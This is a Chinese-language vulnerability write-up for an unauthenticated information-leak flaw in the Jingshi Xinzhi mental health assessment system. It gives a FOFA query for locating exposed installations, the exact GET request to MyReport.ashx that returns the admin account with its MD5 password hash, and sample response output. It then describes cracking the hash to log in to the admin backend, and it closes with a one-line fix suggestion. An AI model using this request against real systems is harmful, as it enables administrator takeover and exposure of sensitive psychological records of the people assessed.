

J2-1 京师心智-心理健康测评系统-Information Leakage

漏洞描述:

京师心智心理健康测评系统 MyReport.ashx接口存在信息泄露漏洞，未经身份验证的攻击者可以利用此漏洞获取系统后台管理员账户密码凭证，并且解密后可登录后台页面，使系统处于极不安全的状态。

网站图片:



网络测绘:

fofa语法:

FOFA: body="/JS/ligerComboBox/ligerTree.js"

漏洞复现:

payload:

```
GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html, image/gif, image/jpeg, */*;q=.2, */*;q=.2
Connection: close
```

效果图:

Request

```
1 GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
2 Host: your-ip
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
4 Accept: text/html, image/gif, image/jpeg, */*;q=.2, */*;q=.2
5 Connection: close
```

Responses 907bytes / 642ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/plain; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 X-AspNet-Version: 4.0.30319
6 Set-Cookie: ASP.NET_SessionId=rowfodowmrm
7 X-Powered-By: ASP.NET
8 X-Frame-Options: SAMEORIGIN
9 Date: Wed, 20 Mar 2024 08:29:54 GMT
10 Connection: close
11 Content-Length: 907
12
13 [{"_AddFiletemplate":null,"_CouIntroduce":":
  "_activatenterprisemark":1,"_activationsni
  "_department_id":"244","_departmentauthor:
  "_isenterprisemark":1,"_r_id":"129","_rol
  ","_u_address":null,"_u_age":null,"_u_aud:
  "_u_audittime":null,"_u_birthdate":"1990-0
  "_u_img":"../../upload/638464419816010
  "_u_loginname":"admin","_u_mark_delete":":n
  "_u_parentstel":"","_u_password":"1C36B34
  "_u_sex":"男","_u_str":null,"_u_tel":"","
  "_departi":"管理员","_le_describe":
  "_u_createtime":null
```

md5解密后可登录后台

 我的桌面	
基础设置	<
心理测验	<
危机预警	<
问卷调查	<
预约咨询	<
档案管理	<
危机干预	<

 当前位置： 我的主页

admin,下午好!

心理测评系统

修复建议:

立即修复京师心智心理健康测评系统的MyReport.ashx接口，实施强身份验证和数据加密，防止敏感信息泄露。